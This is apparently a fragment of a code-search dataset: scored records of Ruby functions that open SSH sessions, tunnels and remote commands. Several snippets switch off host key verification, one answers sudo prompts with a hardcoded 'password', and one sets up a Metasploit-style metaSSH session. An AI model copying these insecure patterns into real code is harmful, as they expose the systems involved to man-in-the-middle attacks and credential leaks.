"text": "def ss\n Thread.current[:simplessh] ||= Net::SSH::Simple.new({:user => 'ubuntu'})\n end",
"title": ""
},
{
"docid": "64d9f369e5d2a46655d35784fbe2e395",
"score": "0.58602697",
"text": "def connect_ssh_tunnel\n @log.debug('opening SSH tunnel..')\n\n if self.status.eql?('running')\n self.get_ssh_info()\n @ssh = Net::SSH.start(@ssh_info[:hostname], @ssh_info[:user], :port => @ssh_info[:ssh_port], :keys => [@sshkey], :paranoid => false)\n else\n raise InternalError.new('VM is not running, unable open SSH tunnel')\n end\n\n @ssh\n end",
"title": ""
},
{
"docid": "697e5536a4acb48519b129c531ce241f",
"score": "0.58448404",
"text": "def try_ssh_access(host, port)\n info :ssh_try_connect\n shell \"#{ENV['GIT_SSH']} #{host} -p #{port} 2>&1 | grep -c 'PTY allocation request failed' > /dev/null\", echo: false, assert: false\n end",
"title": ""
},
{
"docid": "3ccf4d8bcc2eaf63590efb754719d920",
"score": "0.58207995",
"text": "def first_nat_ssh_connection(name, user, private_key_path, ssh_nat_port)\n # Fix permissions on the file, so ssh doesn't complain.\n File.chmod(0600, private_key_path)\n\n nat_ssh_config, tmp = Nalloc::Io.write_tempfile(\"ssh_config\", \"Host #{name}\n HostName 127.0.0.1\n User #{user}\n Port #{ssh_nat_port}\n UserKnownHostsFile /dev/null\n StrictHostKeyChecking no\n PasswordAuthentication no\n IdentityFile #{private_key_path}\n IdentitiesOnly yes\n NoHostAuthenticationForLocalhost yes\")\n\n # For some reason, the hostonlyif gets lossy during boot. Try to connect\n # as many times as you can in a fixed time window.\n Timeout.timeout(240) do\n loop do\n # If ssh exits with 255, just retry as the node may not be ready.\n system(\"ssh\", \"-F\", nat_ssh_config, name, \"pwd\",\n :err => :close, :out => :close)\n break if $?.success?\n unless 255 == $?.exitstatus\n raise \"Unexpected ssh error connecting via NAT-forwarded port.\"\n end\n end\n end\n\n nat_ssh_config\n end",
"title": ""
},
{
"docid": "07d34a66713337ea9fa9d47907389e4f",
"score": "0.5813838",
"text": "def establish_connection\n @retries = options[:ssh_retries] || 2\n begin\n before_connect.changed_and_notify(self)\n ssh = Net::SSH.start(hostname, username, options)\n rescue *RESCUE_EXCEPTIONS => exception\n handle_exception_retry(exception)\n retry\n end\n after_connect.changed_and_notify(self)\n ssh\n end",
"title": ""
},
{
"docid": "8b45b147929f20fce3d70196487cd896",
"score": "0.57584023",
"text": "def fn_do_ssh( host, this_user, action, max_time, ssh_opt )\n\n # '-T' disables pseudo-tty allocation used to suppress the standard\n # SSH warning. It is on by default and passed to this function through\n # ssh_opt.\n\n rtn_errors = [] # Error messages if any to return ...\n\n host, ssh_port, id_file, id_user = fn_parse_host_ssh( host )\n this_port = ( ssh_port.nil? ? $configs['SSH_PORT'] : ssh_port ).to_i\n this_user = id_user if not id_user.nil?\n\n unless $arg_raw_actions\n action = action.gsub(/__HOST__/, host)\n action = action.gsub(/__SHOST__/, host.split('.')[0])\n end\n\n this_cmd = \"ssh -x\"\n # Check for jump host(s) ...\n jump_host_port_check = true\n if $arg_jump and $configs.has_key?(\"JUMP_SSH_CMD\")\n if $configs.has_key?(\"JUMP_NODES\")\n $configs[\"JUMP_NODES\"].keys.each { |k|\n if /#{k}/ =~ host\n jump_host_port_check = false\n jump_host = $configs[\"JUMP_NODES\"][k]\n if action.include? \"__JUMP__\"\n action = action.gsub(/__JUMP__/, jump_host)\n else\n this_cmd = \"#{$configs[\"JUMP_SSH_CMD\"]} #{jump_host} #{this_cmd}\"\n end \n break\n end\n }\n end\n end\n # Check for PREPEND_REGEX ...\n prepend_port_check = true\n if $arg_prepend and $configs.has_key?(\"PREPEND_REGEX\")\n $configs[\"PREPEND_REGEX\"].keys.each { |k|\n if /#{k}/ =~ host\n prepend_port_check = false\n this_cmd = \"#{$configs[\"PREPEND_REGEX\"][k]} #{this_cmd}\"\n break\n end\n }\n end\n this_cmd = \"#{$arg_prefix} #{this_cmd}\" if not $arg_prefix.nil?\n if this_port != 0 \\\n and $arg_port_check \\\n and not $configs['IGNORE_PORT_CHECK'].include?(host)\n this_cmd = \"#{this_cmd} -p #{this_port}\"\n end\n this_cmd = \"#{this_cmd} -i #{id_file}\" if not id_file.nil?\n this_cmd += \" #{ssh_opt}\"\n this_cmd += \" #{this_user}\\@#{host}\"\n if $arg_echo\n this_cmd += \" #{action}\"\n print \"\\n ECHO-SUB::#{this_cmd}\"\n return rtn_errors\n else\n this_cmd += \" '#{action}' 2>&1\"\n end\n\n # DEBUG ...\n @lock.synchronize {\n if $arg_debug\n puts \"DEBUG [fn_do_ssh:#{host}] arg_jump = #{$arg_jump}\" if defined?($arg_jump)\n puts \"DEBUG [fn_do_ssh:#{host}] arg_prepend = #{$arg_prepend}\" if defined?($arg_prepend)\n puts \"DEBUG [fn_do_ssh:#{host}] this_user = #{this_user}\" if defined?(this_user)\n puts \"DEBUG [fn_do_ssh:#{host}] action = #{action}\" if defined?(action)\n puts \"DEBUG [fn_do_ssh:#{host}] this_cmd = #{this_cmd}\" if defined?(this_cmd)\n end\n }\n\n this_proc = nil # Handle to ssh process to be executed ...\n conn_good = false # Assume bad connection until checked ...\n output_message = \"\" # Result of \"doing\"; errors and all ...\n\n time_test = Time.new.to_i # Noting the start time ...\n\n # First check for connection possibilities ...\n port_is_open = if this_port == 0 \\\n or not $arg_port_check \\\n or $configs['IGNORE_PORT_CHECK'].include?(host) \\\n or not prepend_port_check \\\n or not jump_host_port_check\n [ true, \"OK\" ] # Assume true if port is ignored in command ...\n else\n check_open_port( host, this_port )\n end\n if port_is_open[0]\n conn_good = true\n else\n rtn_errors << \"#{host} - #{port_is_open[1]}\"\n output_message = rtn_errors[-1]\n end\n\n # If has connection possibilities, then do action ...\n if conn_good\n begin\n timeout( max_time ) do\n this_proc = IO.popen( this_cmd, \"r\" )\n output_message = this_proc.readlines.join\n this_proc.close\n tmp_res = \"#{$?}\".split.last.to_i\n if tmp_res == 255\n output_message = \"ssh ERROR [#{tmp_res}]\"\n end\n end\n rescue Timeout::Error\n rtn_errors << \"#{host} - #{$!}\"\n output_message = rtn_errors[-1]\n #this_proc.close if ! this_proc.closed?\n rescue\n rtn_errors << \"#{host} - #{$!}\"\n output_message = rtn_errors[-1]\n end\n end\n\n time_test = ( Time.now - time_test ).to_i # \"Stopping\" time count ...\n\n summation_host( host, time_test, output_message )\n\n return rtn_errors\n\nend",
"title": ""
},
{
"docid": "c75fe2d49aa4265d77d84cfc8ea3f602",
"score": "0.5743302",
"text": "def ssh_url\n \"hpc.#{@node}\"\n end",
"title": ""
},
{
"docid": "62c3c85007582265cf0fd539a50705a5",
"score": "0.5736691",
"text": "def init_ssh(ssh,opts={})\n @cid_n=0\n self.ssh = ssh\n self.channels={}\n\t\tself.expiration = opts[:expiration]\n\t\tself.comm_timeout = opts[:comm_timeout]\n self.ext = ObjectAliases.new\n self.ext_aliases = ObjectAliases.new\n self.alive = true\n\t\tself.response_timeout = opts[:timeout] || self.class.default_timeout\n\t\tself.send_keepalives = true\n\t\t# self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true\n self.register_extension_alias('core', ClientCore.new(self)) \n self.core.use('stdapi')\n self.thread=Rex::ThreadFactory.spawn(\"metaSSHprocessor\",false) do\n c=0\n begin\n loop do\n ssh.process(0.2)\n end\n rescue Exception => e\n STDERR.puts \"#{e} #{e.backtrace.join(\"\\n\")} \"\n end\n end\n\n end",
"title": ""
},
{
"docid": "086d41be1138f38710c29fd940673313",
"score": "0.5736361",
"text": "def remote_connection\n @remote_connection ||= build_remote_connection\n end",
"title": ""
},
{
"docid": "765e1c062e3c052cb7815997f8473683",
"score": "0.56903404",
"text": "def initialize_ssh\n @hints = {}\n @server = State.new(self, :server)\n @client = State.new(self, :client)\n @packet = nil\n initialize_buffered_io\n end",
"title": ""
},
{
"docid": "75ea550b7fc62cf7859471c2b3984164",
"score": "0.5683016",
"text": "def connect_ssh\n require 'manageiq-ssh-util'\n ManageIQ::SSH::Util.shell_with_su(*miq_ssh_util_args) do |ssu, _shell|\n yield(ssu)\n end\n rescue Exception => e\n _log.error(\"SSH connection failed for [#{ipaddress}] with [#{e.class}: #{e}]\")\n raise e\n end",
"title": ""
},
{
"docid": "0bf3d076aa95a254c1d00d41edbc25b6",
"score": "0.5682465",
"text": "def open_channel(ssh)\n channel = SSH::Channel.new(ssh)\nensure\n channel.open\n yield(channel) if block_given?\nend",
"title": ""
},
{
"docid": "738ca09200217e8497b386bb134cfa55",
"score": "0.56816816",
"text": "def ssh(ssh_args, command)\n pseudo_state = { hostname: ssh_args[0], username: ssh_args[1] }\n pseudo_state.merge!(ssh_args[2])\n connection_state = backcompat_merged_state(pseudo_state)\n\n instance.transport.connection(connection_state) do |conn|\n conn.execute(env_cmd(command))\n end\n end",
"title": ""
},
{
"docid": "99ffd24cca9a14f39ae5d0a9cb6cd0a3",
"score": "0.5675919",
"text": "def ssh_host\n return @identifier if @options[:noop] # for specs\n @ssh_host ||= build_ssh_host\n end",
"title": ""
},
{
"docid": "e9d7dc274620edadcba3a79a4405e1c1",
"score": "0.5659676",
"text": "def ssh_port\n @ssh_port ||= 22\n end",
"title": ""
},
{
"docid": "7a21226467d4968d04f58463fef87d12",
"score": "0.56542194",
"text": "def __connect__(user, host)\n log \"Connecting to #{user}@#{host}\" do\n ssh = SSH.start(host, user, SSH_CONFIIG)\n ssh.timeout = 0\n ssh\n end\n end",
"title": ""
},
{
"docid": "2a325047185f796531503551eaaae867",
"score": "0.5650089",
"text": "def ssh_exec command\n result = Results.new\n @server_validation ||= {}\n stdout = result.data\n stderr = result.error\n t = nil\n\n begin\n \n get_input = true\n @channel = nil\n cmd = ''\n data = ''\n\n t = Thread.new { \n\n while get_input\n \n cmd = begin\n Readline.readline(\"\", true).strip\n rescue Interrupt => e # Send CTRL-C:\n get_input = false\n \"^C\"\n end\n \n if @channel\n @channel.process\n else\n print \"Previous channel closed. Ignoring command: #{cmd}\\n\"\n end\n \n end \n\n }\n\n Net::SSH.start(server.ip, server.user, :password => server.password, :timeout=>3) { |ssh|\n\n unless @server_validation[server.hostname] || ENV['SKIP_IP_CHECK']\n right_ip = ssh.exec!('hostname').strip == server.hostname\n raise Wrong_IP, \"Hostname: #{server.hostname}, Target: #{server.inspect}\" unless right_ip\n @server_validation[server.hostname] = right_ip\n end\n\n @channel = ssh.open_channel do |ch1|\n\n ch1.on_extended_data do |ch, type, d|\n stderr << d\n end\n\n ch1.on_request 'exit-status' do |ch, d|\n result.exit_status = d.read_long\n end\n \n ch1.on_open_failed { |ch, code, desc|\n stderr << \"Failure to open channel: #{code.inspect}: #{desc}\"\n }\n \n ch1.on_process do |ch|\n if cmd.strip == '^C'\n #ch.close\n ch.send_data( Net::SSH::Buffer.from(:byte, 3, :raw, \"\\n\").to_s )\n stderr << \"User requested interrupt.\"\n else\n ch.send_data( \"#{cmd}\\n\" ) unless cmd.empty?\n cmd = ''\n end\n end\n\n ch1.on_data do |ch, d|\n data = d\n stdout << d.sub(%r!\\r?\\n\\Z!,'')\n \n if !Unified_IO::Local::Shell.quiet? && !d.empty?\n print d\n STDOUT.flush\n end\n \n data = ''\n \n end\n \n ch1.request_pty do |ch, success|\n if success\n # do nothing\n else\n ch.close\n (stderr << \"Unknown error requesting pty.\") \n end\n end\n \n ch1.exec(command)\n \n end\n\n ssh.loop 0.1\n } # === Net::SSH.start\n \n rescue Timeout::Error => e\n raise e.class, server.inspect\n\n rescue Net::SSH::AuthenticationFailed => e\n raise e.class, \"Using: \" + [server.ip, server.login].inspect \n\n #rescue Net::SSH::HostKeyMismatch => e\n # if e.message[%r!fingerprint .+ does not match for!]\n # print \"Try this\", \"ssh-keygen -f \\\"~/.ssh/known_hosts\\\" -R #{server[:ip]}\\n\"\n # raise Retry_Command, \"Removed the RSA key.\"\n # end\n # \n # raise e\n ensure\n get_input = false\n t.exit if t\n end\n \n raise Unified_IO::Remote::SSH::Exit_Error, result if !result.error.empty? || result.exit_status != 0\n \n result.data.strip!\n result\n end",
"title": ""
},
{
"docid": "74ab062aebd96d0dd7469b70418e0c05",
"score": "0.5635056",
"text": "def with_conn\n conn = Net::SSH::Simple.new(config: @ssh_config)\n result = yield conn\n conn.close\n result\n end",
"title": ""
},
{
"docid": "041d1f87bafe09cfdcdcd03287656f6f",
"score": "0.5627498",
"text": "def ssh(host, options, &block)\n if options[:ssh][:gateway]\n gw_host, gw_port, gw_user = gateway(options)\n gateway = Net::SSH::Gateway.new(gw_host, gw_user, {:port => gw_port})\n begin\n gateway.ssh(host, options[:ssh][:user], options[:ssh].slice(*Net::SSH::VALID_OPTIONS)) do |ssh|\n yield ssh\n end\n ensure\n gateway.shutdown!\n end\n else\n Net::SSH.start(host, options[:ssh][:user], options[:ssh].slice(*Net::SSH::VALID_OPTIONS)) do |ssh|\n yield ssh\n end\n end\n end",
"title": ""
},
{
"docid": "605227aaf37cf3b72cb0f64334407079",
"score": "0.56195176",
"text": "def ssh\n current_host = case HOST\n when :main then \"makevoid.com\"\n when :taxi then \"taxi.mkvd.net\"\n when :cafp then \"cafp.mkvd.net\"\n end\n\n \"ssh root@#{current_host}\"\nend",
"title": ""
},
{
"docid": "1b6f48fe6add917c4b14cb821ca1fd33",
"score": "0.56180143",
"text": "def ssh(host, cmd, opts={}, &block)\n opts = @opts.merge(opts)\n with_session(host, opts) do |session|\n @result = Result.new(\n { :op => :ssh, :host => host, :cmd => cmd, :start_at => Time.new,\n :last_event_at => Time.new, :opts => opts, :stdout => '', :stderr => '',\n :success => nil\n } )\n\n channel = session.open_channel do |chan|\n chan.exec cmd do |ch, success|\n @result[:success] = success\n ch.on_data do |c, data|\n @result[:last_event_at] = Time.new\n r = block.call(:stdout, ch, data) if block\n @result[:stdout] += data.to_s unless r == :no_append\n end\n ch.on_extended_data do |c, type, data|\n @result[:last_event_at] = Time.new\n r = block.call(:stderr, ch, data) if block\n @result[:stderr] += data.to_s unless r == :no_append\n end\n ch.on_request('exit-status') do |c, data|\n @result[:last_event_at] = Time.new\n exit_code = data.read_long\n block.call(:exit_code, ch, exit_code) if block\n @result[:exit_code] = exit_code\n end\n ch.on_request('exit-signal') do |c, data|\n @result[:last_event_at] = Time.new\n exit_signal = data.read_string\n r = block.call(:exit_signal, ch, exit_signal) if block\n @result[:exit_signal] = exit_signal\n @result[:success] = false\n unless r == :no_raise\n raise \"Killed by SIG#{@result[:exit_signal]}\"\n end\n end\n block.call(:start, ch, nil) if block\n end\n end\n wait_for_channel session, channel, @result, opts\n @result[:finish_at] = Time.new\n block.call(:finish, channel, nil) if block\n @result\n end\n end",
"title": ""
},
{
"docid": "fda696abac36246353a7f1acfffcecf6",
"score": "0.5614292",
"text": "def tunnel\n @ssh_lock.synchronize do\n if @ssh_pid\n # ABORT\n return nil\n end\n\n puts \"Attempting connection to #{opts[:remote]}...\"\n begin\n stdin, stdout, waiter = Open3.popen2e(\n opts[:ssh][:bin],\n '-o', 'ExitOnForwardFailure=yes',\n *(opts[:ssh][:opts].split(/\\s+/)),\n '-p', opts[:remote][:ssh_port].to_s,\n '-i', opts[:ssh][:identity],\n '-R', ['*',\n opts[:remote][:fwd_port],\n opts[:local][:host],\n opts[:local][:port]\n ].join(':'),\n \"#{opts[:remote][:user]}@#{opts[:remote][:host]}\"\n ) do |stdin, stdout, thread|\n\n # Squirrel away PID\n @ssh_pid = thread[:pid]\n puts \"SSH PID is #{@ssh_pid}\"\n\n # Print output\n stdin.close\n stdout.each do |line|\n puts \"SSH: #{line}\"\n end\n end\n ensure\n @ssh_lock.synchronize do\n @ssh_pid = nil\n puts \"Tunnel exited.\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "1d84933c7c1ece50b05f4db9e52bf4ed",
"score": "0.56134075",
"text": "def connect\n return @session if connected?\n trace = caller\n f = Fiber.current\n ::EM::Ssh.start(host, user, connect_opts) do |connection|\n @connection = connection\n connection.callback do |ssh|\n f.resume(@session = ssh)\n end\n connection.errback do |e|\n e.set_backtrace(trace + Array(e.backtrace))\n f.resume(e)\n end\n end\n return Fiber.yield.tap { |r| raise r if r.is_a?(Exception) }\n end",
"title": ""
},
{
"docid": "3da4804a6b4f8710a7d105f0347c4eca",
"score": "0.56025964",
"text": "def initialize(command = nil, stop_string = nil, logfile = nil, ssh_options = nil, tty = true)\n # def initialize(ssh_options = nil, command = nil, stop_string = nil, logfile = nil, tty = true)\n\n # self.mutex = Mutex.new\n self.peer_info = ssh_options[:host_name]\n self.ssh_options = ssh_options\n self.stdout = StringIO.new\n ###########################\n self.ssh = Net::SSH.start(nil, nil, ssh_options)\n self.channel = ssh.open_channel do |_ch|\n channel.request_pty if tty == true\n if command\n channel.exec command\n else\n channel.send_channel_request \"shell\"\n end\n end\n channel.on_data do |_c, data|\n store_data(data)\n end\n channel.on_extended_data do |_c, _type, data|\n store_data(data)\n end\n\n ###########################\n super\n ###########################\n # read whatever\n set_default_winsize\n get_once(-1)\n end",
"title": ""
},
{
"docid": "628a067175220306bd7b140c13eb36e3",
"score": "0.5598654",
"text": "def cache!\n if cached?\n logger.debug \"Updating existing cache at #{@cache_path}\"\n git \"fetch --prune\", :git_dir => @cache_path\n else\n logger.debug \"No cache for #{@remote.inspect}, forcing cache build\"\n cache_root = self.class.cache_root\n FileUtils.mkdir_p cache_root unless File.exist? cache_root\n git \"clone --mirror #{@remote} #{@cache_path}\"\n end\n end",
"title": ""
},
{
"docid": "b139ecf72949d0f0cb3cf856a898b4f0",
"score": "0.55951464",
"text": "def ssh_into_instance(host, username, private_key_path, port, opts={})\n # check the permission on private_key_path and try to fix it\n check_key_permissions private_key_path\n # ssh command line options\n command_options = [\n '-p', port.to_s,\n '-o', 'LogLevel=FATAL',\n '-o', 'StrictHostKeyChecking=no',\n '-o', 'UserKnownHostsFile=/dev/null',\n '-i', File.expand_path(private_key_path).to_s]\n command_options += %w(-o ForwardAgent=yes) if opts[:forward_agent]\n command_options.concat(opts[:extra_args]) if opts[:extra_args]\n # Build up the host string for connecting\n host_string = host\n host_string = \"#{username}@#{host_string}\"\n command_options.unshift(host_string)\n ShellUtils.safe_exec('ssh', *command_options)\n end",
"title": ""
},
{
"docid": "e6300c5ea864dbc801a06c90b7263259",
"score": "0.5583831",
"text": "def ssh\n platform_service(:ssh)\n end",
"title": ""
},
{
"docid": "cdcaaa7862e7bdea81a129e31ef2e525",
"score": "0.55818087",
"text": "def ssh_connect(opts = {})\n ssh_sleep = RSpec.configuration.rs_ssh_sleep\n ssh_tries = RSpec.configuration.rs_ssh_tries\n ssh_timeout = RSpec.configuration.rs_ssh_timeout\n\n tries = 0\n begin\n timeout(ssh_timeout) do\n output << bold(color(\"localhost$\", :green)) << \" ssh -l #{opts[:user]} #{opts[:host]}\\n\"\n Net::SSH.start(opts[:host], opts[:user], opts[:net_ssh_options])\n end\n rescue Timeout::Error, SystemCallError, Net::SSH::Exception, SocketError => e\n tries += 1\n output << e.message << \"\\n\"\n if tries < ssh_tries\n log.info(\"Sleeping for #{ssh_sleep} seconds then trying again ...\")\n sleep ssh_sleep\n retry\n else\n log.error(\"Inability to connect to host, already tried #{tries} times, throwing exception\")\n raise e\n end\n end\n end",
"title": ""
},
{
"docid": "c56df397a4712018173d29b6bd49396a",
"score": "0.5577756",
"text": "def remote_sh(cmd)\n @busy = true\n\n puts cmd.inspect\n begin\n res = `ssh -i #{KEY} #{@client} \"#{cmd}\"` # todo, allow for failure\n rescue\n return 1\n end\n @busy = false\n res # need to return result\n end",
"title": ""
},
{
"docid": "d0787c7f50364806c980c158e471f797",
"score": "0.5576761",
"text": "def single_handle(ip, username, password)\n return Net::SSH.start(ip, username, :password => password, :auth_methods => [\"password\", \"publickey\"], :paranoid => false, :forward_agent => true)\n end",
"title": ""
},
{
"docid": "a46a0b521a3f6af3be3022d7a482a49b",
"score": "0.5566291",
"text": "def clear_ssh_keys_cache\n @ssh_keys = nil\n end",
"title": ""
},
{
"docid": "c7fed84f31bbbec9d8c47fcaf4a7ad1b",
"score": "0.55546904",
"text": "def fetch_backend(host_arg_or_hash)\n host = SSHKit::Host.new(host_arg_or_hash)\n if @@backend_cache[host]\n @@backend_cache[host]\n else\n SSHKit.config.use_format(:shellout)\n host.ssh_options = ssh_options\n host.user ||= 'root' # figure this out, current user?\n klass = host.local? ? :Local : :Netssh\n @@backend_cache[host] = SSHKit::Backend.const_get(klass).new(host)\n end\n end",
"title": ""
},
{
"docid": "4e2d92709cb2856e9ac1e9ffd6591d87",
"score": "0.55401766",
"text": "def collect(host)\n ssh = Net::SSH.start(host)\n output = ssh.exec!(@command)\n ssh.close\n\n output\n end",
"title": ""
},
{
"docid": "7d153bc1c94db30c4ce8cee223f90ad4",
"score": "0.55371666",
"text": "def connect\n logger.debug(\"Creating connection to Kestrel using config #{@config.inspect}\") if logger && logger.debug?\n @kestrel = MemCache.new(@config)\n @kestrel.servers = @config[:servers]\n end",
"title": ""
},
{
"docid": "d68569a1137548f4a8c80ce1ef5250d2",
"score": "0.5532336",
"text": "def wait_for_ssh_access(host, port)\n info :ssh_remote_host, host, port\n 1.upto(20) { try_ssh_access(host, port) && break || sleep(3) }\n success? ? info(:ssh_connected) : error(:ssh_failed)\n end",
"title": ""
},
{
"docid": "3468f876e586c37961346d7c9df33119",
"score": "0.55261153",
"text": "def container_ssh(container, options={})\n name = container.id\n @container_ssh ||= Hash.new\n if @container_ssh[name].nil?\n @container_ssh[name] ||= ZTK::SSH.new({:ui => @ui, :timeout => 3600, :silence => true}.merge(options))\n @container_ssh[name].config do |c|\n c.proxy_host_name = @provider.ip\n c.proxy_port = @provider.port\n c.proxy_user = @provider.user\n c.proxy_keys = @provider.identity\n\n c.host_name = container.ip\n\n c.user = (options[:user] || container.primary_user.username)\n c.password = (options[:passwd] || container.primary_user.password)\n c.keys = (options[:keys] || [container.primary_user.identity, @provider.identity].flatten.compact)\n end\n end\n @container_ssh[name]\n end",
"title": ""
},
{
"docid": "e46df81541e568f11495f70ccc98e48a",
"score": "0.55236816",
"text": "def new_session #:nodoc:\n session = if gateway\n gateway.ssh(host, user, options)\n else\n Net::SSH.start(host, user, options)\n end\n\n session[:server] = self\n session\n rescue ::Timeout::Error => error\n raise Net::SSH::ConnectionTimeout.new(\"#{error.message} for #{host}\")\n rescue Net::SSH::AuthenticationFailed => error\n raise Net::SSH::AuthenticationFailed.new(\"#{error.message}@#{host}\")\n end",
"title": ""
},
{
"docid": "d05bf19f2ba2de87a834a1a2994462e8",
"score": "0.5517503",
"text": "def index\n @ssh_connections = SshConnection.all\n end",
"title": ""
},
{
"docid": "a8f435a8c036b577568b67072a54652d",
"score": "0.55145407",
"text": "def ssh(command)\n check\n\n ip = @one['NAME']\n private_key = @one['TEMPLATE/PROVISION_CONNECTION/PRIVATE_KEY']\n remote_user = @one['TEMPLATE/PROVISION_CONNECTION/REMOTE_USER']\n\n begin\n exec(\"ssh -i #{private_key} #{remote_user}@#{ip} '#{command}'\")\n rescue StandardError => e\n puts e.message unless e.is_a? SystemExit\n\n -1\n end\n end",
"title": ""
},
{
"docid": "a8f435a8c036b577568b67072a54652d",
"score": "0.55145407",
"text": "def ssh(command)\n check\n\n ip = @one['NAME']\n private_key = @one['TEMPLATE/PROVISION_CONNECTION/PRIVATE_KEY']\n remote_user = @one['TEMPLATE/PROVISION_CONNECTION/REMOTE_USER']\n\n begin\n exec(\"ssh -i #{private_key} #{remote_user}@#{ip} '#{command}'\")\n rescue StandardError => e\n puts e.message unless e.is_a? SystemExit\n\n -1\n end\n end",
"title": ""
},
{
"docid": "70b6b892f4981df0a5d4990e05c9c647",
"score": "0.5510556",
"text": "def ssh_access_v2\n super\n end",
"title": ""
},
{
"docid": "550ad489ae90e612179712e5b959e947",
"score": "0.5509835",
"text": "def kind\n :ssh\n end",
"title": ""
},
{
"docid": "550ad489ae90e612179712e5b959e947",
"score": "0.5509835",
"text": "def kind\n :ssh\n end",
"title": ""
},
{
"docid": "1816e79297264b53cdf61b82751b5562",
"score": "0.549865",
"text": "def ssh(cmd='')\n sh \"ssh #{$config['host']} -p #{$config['port']} '#{cmd}'\"\nend",
"title": ""
},
{
"docid": "92ca341234f5035939e045862c2003b6",
"score": "0.5488765",
"text": "def ssh(hostname, command)\n ensure_root_ssh\n\n sh \"ssh -oStrictHostKeyChecking=no root@#{hostname} #{Shellwords.escape command}\"\nend",
"title": ""
},
{
"docid": "dabe1a4031eb37fc248e244a578cfa0c",
"score": "0.54854023",
"text": "def remote_connect(host,user,password)\n filename = File.join(\"log\",host+\".log\")\n file = File.open(filename,\"w\")\n Net::SSH.start(host,user,:password=>password) do |ssh|\n puts host+\" connected.\"\n\n #send some files\n file.puts send_file(ssh,'sources.list')\n file.puts send_file(ssh,'rubyinstall.sh')\n file.puts send_file(ssh,'blobs/ruby-1.9.3-p448.tar.gz')\n file.puts send_file(ssh,'blobs/rubygems-1.8.17.tgz')\n file.puts send_file(ssh,'blobs/yaml-0.1.4.tar.gz')\n #end\n\n #send the important blob files\n file.puts send_blobs(ssh,'adeploy.gz','.')\n #end \n\n ssh.open_channel do |channel|\n channel.request_pty do |ch,success|\n raise \"I can't get pty request \" unless success\n ch.exec('sudo bash rubyinstall.sh')\n ch.on_data do |ch,data|\n data.inspect\n if data.inspect.include?\"[sudo]\" \n channel.send_data(\"password\\n\")\n elsif data.inspect.include?\"Enter your password\"\n channel.send_data(\"password\\n\")\n else\n file.puts data.strip\n end\n end\n end\n end\n end\n file.close\nend",
"title": ""
},
{
"docid": "32f5ab09b7bea9ee93d87543f81c3959",
"score": "0.5477881",
"text": "def become_remote_client!(host, port); end",
"title": ""
},
{
"docid": "a16af502dcef110f2b7a1f728c611916",
"score": "0.54776907",
"text": "def ssh_can_connect?(user, key, host, port)\n ssh = Mixlib::ShellOut.new(\"ssh -o StrictHostKeyChecking=no -i #{key} -p #{port} -l #{user} #{host} gerrit version\")\n ssh.run_command\n # return true if there was no error\n ! ssh.error?\n end",
"title": ""
},
{
"docid": "82998b93f5cab4dd538ed6f82089b466",
"score": "0.54658973",
"text": "def spawn_ssh(remoteHostName, remotePort, userName, password) \n spawn(SshSpawn.new(remoteHostName, remotePort, userName, password));\n end",
"title": ""
},
{
"docid": "54651ef111e07a7c99643965f24ae856",
"score": "0.54619396",
"text": "def ssh(*args)\n @@rmach.switch_user :root\n @@rmach.connect(*args)\n @@rmach.switch_user # back to previous user\n nil\n end",
"title": ""
},
{
"docid": "f9aacc5d0c877600d50a79f816192303",
"score": "0.54567224",
"text": "def remote_do(host = \"home\", &block)\n Net::SSH.start(host, 'brad') do |ssh|\n # run_cmd will use exec remotely if @ssh is set\n @ssh = ssh \n yield(ssh)\n # set it back because we're leaving the block\n @ssh = nil\n end\n end",
"title": ""
},
{
"docid": "595193c43b5aef647615baedb6b35db6",
"score": "0.54499096",
"text": "def without_host_key_checking_linux\n tmpdir = ::Dir.mktmpdir\n ssh_cmd = ::File.join(tmpdir, 'ssh')\n\n ::File.open(ssh_cmd, 'w') do |cmd|\n cmd.puts \"#!/bin/bash\"\n cmd.puts \"exec ssh -o StrictHostKeyChecking=no ${@}\"\n end\n ::FileUtils.chmod(0700, ssh_cmd)\n\n old_env = ::ENV['GIT_SSH']\n ::ENV['GIT_SSH'] = ssh_cmd\n yield\n ensure\n ::FileUtils.rm_rf(tmpdir)\n ::ENV['GIT_SSH'] = old_env\n end",
"title": ""
},
{
"docid": "def0ae84318c5cc4f052c8223a7f2a60",
"score": "0.5446652",
"text": "def ssh_connect(opts, data, config)\n\n connect_cmd_key = ''\n \n if( data.length == 0 )\n puts \"No data\"\n exit(11)\n end # if\n \n if( data.length > 1 )\n puts 'We got more than two records for host from database!'\n exit(11)\n end # if\n\n opts = self.loadRootSshKeys(opts, data)\n \n ssh_key = self.prepareSshKeys(opts)\n \n if( !ssh_key.empty? )\n connect_cmd_key = \"-i #{ssh_key}\"\n end # if\n \n # calling action specific code\n yield opts, data, connect_cmd_key\n\n # removing temporary file with private key, to be safe and not fill\n # temporary location\n if( File.exists?(ssh_key) )\n File.delete(ssh_key)\n end # if\n \n end",
"title": ""
},
{
"docid": "f3267ee0bc743b17258167bfbc097b90",
"score": "0.5442815",
"text": "def ssh(*args)\n\t\tself.class.cmd(['ssh', *ssh_opts, SSHUserHost, *args])\n\tend",
"title": ""
},
{
"docid": "949aa56c8b92e4a7673549bee61aecb0",
"score": "0.54421073",
"text": "def toggle_ssh\n if !ssh_state\n host(resource[:name]).configManager.serviceSystem.StartService(:id=>'TSM-SSH')\n end\n end",
"title": ""
},
{
"docid": "8c2d2b9e1666ab06e98c43e99ba76765",
"score": "0.54394627",
"text": "def ssh_options\n {\n :keys_only => false, # Don't you dare change this.\n :global_known_hosts_file => path(:known_hosts),\n :user_known_hosts_file => '/dev/null',\n :paranoid => true,\n :verbose => net_ssh_log_level\n }\n end",
"title": ""
},
{
"docid": "c6495dcb5d2ea6404452e649f0e2a166",
"score": "0.54329246",
"text": "def session(&block)\n return false unless block_given?\n session = Net::SSH.start(config[:host], config[:user], get_remote_options)\n result = yield(session)\n session.close\n result.to_s.strip\n end",
"title": ""
},
{
"docid": "a43158deca4f47a4743fc1a70b4304fa",
"score": "0.5428842",
"text": "def remote(remote)\n cache_dir = \"#{@mirror_root}/#{ident(remote)}\"\n\n if Dir.exist?(cache_dir)\n if block_given? && !yield(cache_dir)\n # The block didn't like what it saw; try updating the mirror\n # from upstream\n status = git(remote, \"remote\", \"update\", chdir: cache_dir)\n raise \"git remote update failed\" unless status.success?\n end\n else\n status = git(remote, \"clone\", \"--mirror\", remote, cache_dir)\n raise \"git clone --mirror failed\" unless status.success?\n end\n\n cache_dir\n end",
"title": ""
},
{
"docid": "a7564e049a3da9c2ad21e856b128ef8a",
